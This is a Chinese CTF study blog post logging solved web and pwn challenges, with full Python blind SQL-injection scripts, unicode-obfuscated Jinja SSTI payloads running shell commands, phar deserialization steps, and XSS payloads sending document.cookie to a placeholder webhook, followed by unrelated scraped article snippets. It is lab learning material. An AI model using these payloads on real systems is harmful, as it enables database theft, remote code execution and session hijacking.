PWARL CTF and others


title: 一些复杂点的题目
date: 2024-03-09 16:05:24
tags: CTF

2024年3月9日

今日习题完成:
1.BUU [网鼎杯 2020 半决赛]AliceWebsite
2.[RoarCTF 2019]Online Proxy
3.[Polar CTF]到底给不给flag呢
4.网鼎杯 2020 总决赛]Game Exp


[RoarCTF 2019]Online Proxy

这个题目利用知识点是二次注入,但我一开始只发现了注视下的current ip 和last ip在变,我还以为是sstl注入因为之前做过类似的,后来看了wp才知道竟然是sql语句。。

$result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'");// 如果存在以前的记录
if(count($result) > 0) {// 检查当前IP是否与数据库中存储的最新IP不同if($ip !== $result[0]['current_ip']) {// 如果IP地址已更改,存储数据库中的最新IP地址以备用$last_ip = $result[0]['current_ip'];// 删除旧的IP日志记录query("delete from ip_log where uuid='".addslashes($uuid)."'");} else {// 如果IP地址未更改,存储数据库中存储的上一次IP地址$last_ip = $result[0]['last_ip'];}
}// 向IP日志表中插入当前UUID、当前IP和上一次IP的记录
query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");// 打印调试信息,包括执行时间、当前IP地址以及上一次IP地址(如果有的话)
die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->");

假设一个用户首次访问网站时,其UUID为"123456",当前IP为"192.168.1.100",并且数据库中没有任何与该UUID相关的记录。那么,当用户访问时,以下情况将发生:

首先,数据库中没有与UUID “123456” 相关的记录,因此 count( r e s u l t ) 将为 0 ,所以代码将直接跳过 i f ( c o u n t ( result) 将为0,所以代码将直接跳过 if(count( result)将为0,所以代码将直接跳过if(count(result) > 0) 部分。

接着,程序会直接执行插入操作 query(“insert into ip_log values (‘123456’,
‘192.168.1.100’, ‘’);”),插入一条新的IP记录到数据库中。

最后,将调试信息打印出来,由于这是首次记录,上一次IP为空,所以调试信息会显示当前IP为"192.168.1.100",没有上一次IP地址。

现在假设同一用户之后再次访问,但是IP地址已经更改为"10.0.0.1",那么以下情况将发生:

程序将查询数据库以获取UUID为"123456"的IP日志记录。

由于上一步中已经有记录,count( r e s u l t ) 将大于 0 ,所以程序将进入 i f ( c o u n t ( result) 将大于0,所以程序将进入 if(count( result)将大于0,所以程序将进入if(count(result) > 0) 分支。

程序将检查当前IP是否与数据库中存储的最新IP不同。因为当前IP是"10.0.0.1",而数据库中最新的IP是"192.168.1.100",所以两者不同。

在这种情况下,程序将存储数据库中的最新IP地址以备用,并且删除旧的IP日志记录。

接着,程序会插入新的IP记录到数据库中,此时上一次IP地址将被设置为"192.168.1.100"。

最后,将调试信息打印出来,显示当前IP为"10.0.0.1",上一次IP地址为"192.168.1.100"。

这样,每次用户访问时,都会记录其当前IP地址,并与上一次记录的IP地址进行比较和更新。

所以利用的就是查询LastIp时构造闭合语句来查询数据库信息。

query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');");

这里我们可以用盲注来写

import requestsurl = "http://node5.buuoj.cn:25765/"
head = {"GET": "/ HTTP/1.1","Cookie": "track_uuid=f6eb975d-5dfe-49d7-f43c-8b888ee993d5","X-Forwarded-For": ""
}
result = ""
for i in range(1, 100):l = 32r = 127mid = (l + r) >> 1while (l < r):# head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i,mid)# head["X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{0},1))>{1} or '0".format(i, mid)# head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(column_name) from information_schema.columns where(table_name='F4l9_t4b1e')),{0},1))>{1} or '0".format(i, mid)head["X-Forwarded-For"] = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{0},1))>{1} or '0".format(i, mid)html_0 = requests.post(url, headers=head)head["X-Forwarded-For"] = "1111"html_0 = requests.post(url, headers=head)html_0 = requests.post(url, headers=head)if "Last Ip: 1" in html_0.text:l = mid + 1else:r = midmid = (l + r) >> 1if (mid == 32 or mid == 127):breakresult += chr(mid)print(result)

还有更快的

import requestsurl = "http://node5.buuoj.cn:25765/"def execsql(sql):result = ""payload = "0'|length((" + sql + "))|'0"session = requests.session()r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)length = int(r.text[start:end])print("[+]长度:" + str(length))for i in range(1, length + 1, 5):  # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql, i)r = session.get(url, headers={'X-Forwarded-For': payload})print(r.text)r = session.get(url, headers={'X-Forwarded-For': 'leekos'})print(r.text)r = session.get(url, headers={'X-Forwarded-For': 'leekos'})print(r.text)start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

都是找的大佬的脚本,我只是脚本小子…

到底给不给flag呢

这道题是一个变量覆盖还挺绕的,核心意思就是传入一个数hello=1,那么你就会有一个$hello=1,那么$hello= 1 。这里要输出 f l a g ,我们当然时不能改变 f l a g 的值,但我们没法直接读 1。 这里要输出flag,我们当然时不能改变flag的值,但我们没法直接读 1。这里要输出flag,我们当然时不能改变flag的值,但我们没法直接读flag,我们要构建一个变量等于flag的字母,所以先输入c=flag,这样就有了$c=$flag,再输入flag=c,在把flag值拿回来,其实利用了一个诺汉塔的思想。其实可以自己建个环境来看看输出值会清楚一点
在这里插入图片描述

网鼎杯 2020 总决赛]Game Exp

给了源码一道代码审计题,但里面文件太多了,我找半天以为是反序列化mysql类进行sql构造写马,如果有感兴趣这个思路的可以去做一下ctfshow元旦杯的题目里面有个类似的。
这里其实是一道phar文件反序列化题目,核心在于注册代码的上传图片,一开始没仔细看里面竟然有个之间的代码eval

<?phpclass AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
if (file_exists($filename)){echo "<script>alert('文件已经存在');</script>";}

思路就是:
先注册一个用户,上传构造的phar文件,然后再去注册页面那里,利用注册,在username里面传phar://,后面在进行拼接时会让filename变成phar://.extension,再用file_exists触发phar.

这样就成功在login目录下生成一个名字为 ph1.jpg 的文件,接着使用phar协议去对其进行反序列化调用,我们需要构造phar:///var/www/html/login/ph1.jpg,因此在注册页面再上传随便一个jpg文件,而username为 phar:///var/www/html/login/test,经过处理拼接之后就成功构造。

我们先上传构造的文件

在这里插入图片描述

这里文件名是,所以我们username是test,文件名就是test.jpg

$filename = $username.".".$extension;
在这里插入图片描述

核心思想其实就是普通phar,这里难点我觉得是找到这个点还有想到衔接phar构成读取。

最大问题应该就是题目干扰比较多,里面还有一个finger下的php文件,一个疑似ssrf的点,所以删选能力也很重要


2024年3月10日

今日习题完成:

1.[PEARL] 我是网络小白
2.[PEARL]rabbithole
3.[PEARL]learn HTTP
4.[PEARL]usual


[PEARL] 我是网络小白

这道题目很有意思,也通过这个题目来进行研究了一下sstl的题目,

一个登陆框进去,输入内容后发现url上显示了输入对应的字符,第一反应就是sstl,但输入{{1+2}}发现不行,明显有过滤的一些操作,一开始想着用fenjing一把梭,但梭不出来,后来想着看看黑名单一个个过滤先试试,但记录的几种绕过由于自身对sstl理解有限不知道怎么样语法合适,根据关键词搜索下看看有没有相关例题来参考下,后来发现有类似的过滤config,我想尝试拼接绕过复写字符,但因为它是换成空格就没办法了,再后来看到一个unicode的绕过,我就试了下,发现有回显,我还担心无回显题那就难了,幸好输入

在这里插入图片描述

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

拿到了class类,不过这没什么用再尝试看看globals,然后利用alobals里面的os来拿os的popen来执行命令

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}(Unicode编码有回显,这条payload#  # 等效于{{””.__class__}}url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
# (等效于{{lipsum.__globals__}}# 等效{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}                
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22\u006f\u0073%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074%22)|attr(%22read%22)())%}

别人的payload

It can be SSTI, , then i tested manually for it and got to know that some of the objects (classes, mro, base more) and operators are blacklisted then i wrote a payload (using hit and trial approach) and made this: {%print(request|attr(%22application%22)|attr(%22\x5f\x5fglobals\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%27\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f%27)(%22subprocess%22)|attr(%22\x63\x68\x65\x63\x6b\x5f\x6f\x75\x74\x70\x75\x74%22)(%22cat+flag.txt%22,shell=1))%}

拿到flag,要说核心就是一个unicode绕过不难,就是名单绕过需要自己想想,还是需要归纳总结一下,也许下一次遇到的就是八进制绕过了。

在这里插入图片描述

[PEARL]rabbithole

这道题目我觉得很抽象,一开始看userid是guest还有给了疑似密钥的东西,我以为是一个session伪造或者flask框架问题,但没想到意思是访问hardworking页面并用s3cr3t1v3_m3th0d方法访问。然后直接拿到flag,太抽象了,感觉像杂项。。。。

在这里插入图片描述

[PEARL]learn HTTP

这个题目是第一题但我觉得这个难度高点,而且解题想法也很好,学到很多。

不过也不知道为什么这么做,但还是可以想到是要xss,因为题目说管理员会check flag,一般就是要拿到cookie,服务器上监听一下然后拿到token,这里的token是直接拿来jwt爆破的,密钥是banana,这里管理员id是1,把它改称admin就可以了。

image-20240310164223941

webhook = "??"
script = `<img src=x οnerrοr="fetch('${webhook}?'+document.cookie)" />`
payload = "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: "+script.length+"\r\n\r\n"+scriptconst urlencoded = new URLSearchParams();
urlencoded.append("body", payload);fetch("https://learn-http.ctf.pearlctf.in/check", {method: "POST",headers: {"Content-Type":"application/x-www-form-urlencoded"},body: urlencoded,
})
build = (p) => "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: "+p.length+"\r\n\r\n"+p
build_url = (p) => `http://localhost:5001/resp?body=${encodeURIComponent(p)}`webhook = "???"
img = `<img src=x id="abc" />`
script = `abc.src="${webhook}/" + document.cookie`
payload = `${img} <script defer src="${build_url(build(script))}"></script>`;
payload = build(payload)
web_url = "http://localhost:5000"
webhook = "??"
xss = `<img src=x οnerrοr="fetch('${webhook}?'+document.cookie)" />`
build = (p) => "HTTP/1.1 302 Found\r\nLocation: "+web_url+"/learn\r\nSet-Cookie: name="+xss+"ello;path=/\r\nContent-Length: "+p.length+"\r\n\r\n"+p
payload = build("")

详情看官方wp

https://github.com/kimbius/CTF-Writeups/tree/main/PearlCTF2024/web/learn%20HTTP/better

[PEARL]usual

这道题目挺有意思的,其实脚本不难,难点在于第二个read_uint函数不能读取负数,所以没法构成整数溢出,开始的思路是构成溢出来增加金币来买flag,但发现4选项本身没有获取flag,再去看3选项有输入,明显就是构造溢出,只需要溢出覆盖到flag就可以了,那这里有一个trick就是输入一个字符可以绕过.

int main_loop()
{unsigned int v1; // [rsp+8h] [rbp-18h] BYREFunsigned int v2; // [rsp+Ch] [rbp-14h] BYREFconst char *v3; // [rsp+10h] [rbp-10h]unsigned int v4; // [rsp+18h] [rbp-8h]unsigned int v5; // [rsp+1Ch] [rbp-4h]v5 = 100;while ( 1 ){while ( 1 ){printf("%s", MENU);printf("Your balance is $%d\n", v5);v2 = 0;v3 = "What would you like to buy? (1-5) ";if ( (unsigned int)read_uint(&v2, "What would you like to buy? (1-5) ") != -1 && v2 && v2 <= 5 )break;puts("I'm afraid we don't sell that");}if ( v2 == 5 )break;v1 = 0;v3 = "How many would you like? ";if ( (unsigned int)read_uint(&v1, "How many would you like? ") == -1 ){puts("I can't sell that many");}else if ( (unsigned int)can_afford(v5, v1, v2) ){v4 = 0;do{switch ( v2 ){case 1u:v5 -= 10;print_quote();break;case 2u:v5 -= 45;print_art();break;case 3u:v5 -= 130;print_stand();break;case 4u:puts("Sorry, the flag is under maintenance");break;default:return puts("Goodbye!");}++v4;}while ( v4 < v1 );}else{puts("You can't afford that");}}return puts("Goodbye!");
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/739353.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【软件工程导论】——软工学绪论及传统软件工程(学习笔记)

&#x1f4d6; 前言&#xff1a;随着软件产业的发展&#xff0c;计算机应用逐步渗透到社会生活的各个角落&#xff0c;使各行各业都发生了很大的变化。这同时也促使人们对软件的品种、数量、功能和质量等提出了越来越高的要求。然而&#xff0c;软件的规模越大、越复杂&#xf…

X64 页表结构

PML4&#xff08;Page Map Level 4&#xff09;是x86-64架构中用于管理虚拟内存地址翻译的四级页表结构之一。它是一种树形结构&#xff0c;由多个页目录表&#xff08;Page Directory Pointer Table&#xff0c;PDPT&#xff09;组成&#xff0c;每个PDPT有512个指向下一级页表…

Hololens 2应用开发系列(3)——MRTK基础知识及配置文件配置(中)

Hololens 2应用开发系列&#xff08;3&#xff09;——MRTK基础知识及配置文件配置&#xff08;中&#xff09; 一、前言二、输入系统2.1 MRTK输入系统介绍2.2 输入数据提供者&#xff08;Input Data Providers&#xff09;2.3 输入动作&#xff08;Input Actions&#xff09;2…

Date类型及dayjs的使用总结

一、Date() Date数据类型用于处理日期和时间&#xff0c;它可以表示自1970年1月1日00:00:00 UTC&#xff08;Coordinated Universal Time&#xff0c;国际协调时间&#xff09;以来的毫秒数。 1.创建Date对象 例如&#xff1a;Tue Oct 31 2023 14:01:33 GMT0800 (中国标准时…

算法刷题day28

目录 引言一、截断数组二、双端队列三、日期统计 引言 这几道题是周赛里的几道题目&#xff0c;第一道题目我没用这种方法&#xff0c;但还是做出来了&#xff0c;用的一种比较特殊的思考方法&#xff0c;就是把每一个点都判断出来&#xff0c;不满足要求的就舍弃&#xff0c;…

【你也能从零基础学会网站开发】Web建站之javascript入门篇 JavaScript事件处理

&#x1f680; 个人主页 极客小俊 ✍&#x1f3fb; 作者简介&#xff1a;程序猿、设计师、技术分享 &#x1f40b; 希望大家多多支持, 我们一起学习和进步&#xff01; &#x1f3c5; 欢迎评论 ❤️点赞&#x1f4ac;评论 &#x1f4c2;收藏 &#x1f4c2;加关注 什么是DHTML …

Linux基础命令[16]-head

文章目录 1. head 命令说明2. head 命令语法3. head 命令示例3.1 不加参数3.2 -c&#xff08;按照字节显示&#xff09;3.3 -n&#xff08;按照行数显示&#xff09;3.4 -v&#xff08;显示文件名&#xff09; 4. 总结 1. head 命令说明 head&#xff1a;用来显示文件开头&…

Linux认识与学习BASH

Linux认识与学习BASH 认识BASH这个Shellshell是什么系统的合法shell与/etc/shells功能Bash Shell的功能查询命令是否为Bash shell 的内置命令(type)命令的执行与快速编辑按钮 shell的变量功能什么是变量&#xff1f;变量的使用与设置&#xff1a;echo、变量设置规则、unset环境…

springboot网页时装购物系统链接

链接:https://pan.baidu.com/s/1mCmCSbqUCv48_a6wiLBdJg?pwdfalz 提取码:falz 2600套项目源码 https://kdocs.cn/l/cuAdxEBfLiqA 工作室精心制作&#xff0c;包括小程序项目&#xff0c;springboot项目&#xff0c;传统ssm项目&#xff0c;前后端分离项目。你可以用来制作自…

Stable Diffusion 模型下载:Comic Babes(漫画宝贝)

本文收录于《AI绘画从入门到精通》专栏&#xff0c;专栏总目录&#xff1a;点这里。 文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八 下载地址 模型介绍 条目内容类型大模型基础模型SD 1.5来源CIVITAI作者datmuttdoe文件名称comicBabes_v2.safet…

如何用 RAG 技术玩转文档问答?Milvus × 网易有道 QAnything 为你揭秘!

过去一年&#xff0c;RAG 在技术层面发展迅速&#xff0c;为向量数据库赛道添了一把火。RAG 和向量数据库的结合&#xff0c;能够有效解决幻觉、时效性差、专业领域知识不足等阻碍大模型应用的核心问题。 不久前&#xff0c;网易有道开源了自研的 RAG 引擎 QAnything。用户的任…

Q学习(Q-Learning)

Q学习是一种强化学习算法&#xff0c;用于指导代理&#xff08;Agent&#xff09;在给定环境中如何采取最优行动。它通过学习状态中的行动价值来实现&#xff0c;属于从与环境的交互中学习&#xff0c;通过尝试和错误&#xff0c;以实现目标的机器学习算法。 下面是Q学习工作原…

突破次元壁!体验数字人的神秘世界

在这个繁忙的城市&#xff0c;人们的生活总是充满了压力和焦虑。他们似乎总是在追寻着什么&#xff0c;却又不知道自己究竟在追寻什么。在这个看似平凡的世界里&#xff0c;隐藏着一个神秘的数字人世界。 这个数字人世界并不是虚构的&#xff0c;而是我们无法触及的另一个维度…

CUDA入门之统一内存

原文来自CUDA 编程入门之统一内存 &#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;高性能&#xff08;HPC&#xff09;开发基础教程 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xff1a;学习的本质…

vite配置

"vite": "^5.1.4" resolve.alias&#xff1a;配置别名 1、执行npm install -D types/node 或者 yarn add types/node -D 2、以下配置代表访问src时可以用“”代替 resolve: {alias: {"": path.resolve(__dirname, "./src"),},}, 使…

【C语言】自定义类型:结构体

1. 结构体类型的声明 1.1 结构体回顾 结构是⼀些值的集合&#xff0c;这些值称为成员变量。结构的每个成员可以是不同类型的变量。 1.1.1 结构的声明 struct tag {member-list; }variable-list; 例如描述⼀个学⽣&#xff1a; struct Stu {char name[20];//名字int age;//年…

Vue前端项目安装及相关问题解决

目录 安装 以人人开源前端项目安装为例&#xff0c;安装部署及安装过程中的问题的解决思路。开源地址如下&#xff1a; 人人开源 下载代码到本地 安装visial studio code&#xff08;即VSCode&#xff09;作为前端开发工具&#xff0c;使用前端前必须安装node.js作为让js运行…

Android 生成SO - 基础工程创建

最近需要给小伙伴扫盲一下如何使用Android Studio 生成一个SO文件&#xff0c;网上找了很多都没有合适的样例&#xff0c;那只能自己来写一个了。 原先生成SO是一个很麻烦的事情&#xff0c;现在Android Studio帮忙做了很多的事情&#xff0c;基本只要管好自己的C代码即可。 …

【梳理】k8s使用Operator搭建Flink集群(高可用可选)

文章目录 1. 架构图2. helm 安装operator3. 集群知识k8s上的两种模式&#xff1a;Native和Standalone两种CR 4. 运行集群实例Demo1&#xff1a;Application 集群Demo2&#xff1a;Session集群优劣 5. 高可用部署问题1&#xff1a;High availability should be enabled when sta…

3.1_2 覆盖与交换

3.1_2 覆盖与交换 &#xff08;一&#xff09;覆盖技术 早期的计算机内存很小&#xff0c;比如IBM 推出的第一台PC机最大只支持1MB大小的内存。因此经常会出现内存大小不够的情况。 后来人们引入了覆盖技术&#xff0c;用来解决“程序大小超过物理内存总和”的问题。 覆盖技术的…